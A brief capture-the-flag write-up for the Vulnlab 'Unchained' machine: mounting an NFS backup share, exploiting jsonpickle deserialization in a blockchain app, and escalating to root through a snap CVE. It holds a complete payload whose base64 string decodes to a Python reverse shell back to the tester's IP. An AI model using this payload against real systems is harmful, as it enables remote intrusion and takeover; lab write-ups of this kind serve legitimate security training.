Vulnlab - Unchained [Medium] - 20/08/2023

We can first mount the exposed NFS folder called backup to local folder called mounted.

sudo mount -t nfs -o nfsvers=3 10.10.89.250:/var/nfs/backup ./mounted -o nolock

We can see the source code is a project that is a result from this course:

• https://www.udemy.com/course/build-your-own-proof-of-stake-blockchain

Upon reviewing the code that we got from the mount, we can see that the /transaction path that tries to decode the value of the transaction

Then it goes into the BlockchainUtils.decode which has the following code:

It is notable that the jsonpickle direct decoding can be vulnerable to deserialization, so I’ve crafted the following payload:

{
"transaction": "{\"py\/object\": \"__main__.Transaction\", \"syl\": {\"py\/reduce\": [{\"py\/type\": \"subprocess.Popen\"}, {\"py\/tuple\": [{\"py\/tuple\": [\"python3\", \"-c\", \"import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjguMC4xMDciLDQ0NDQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIik='))\"]}]}]}}"
}

I did this payload from scratch, but I found an article that has much more efficient payload here:

• https://medium.com/@0xbughunter/de-serialization-sometimes-pickle-can-be-too-sour-45c930e18b8e

Nonetheless we can see that we got a connection back.

After that and after a bit of enumeration we can see that snap is in the user folder which kind-a hints that. The vulnerability is CVE-2021-44731, we can find a PoC on GitHub, after that we are root.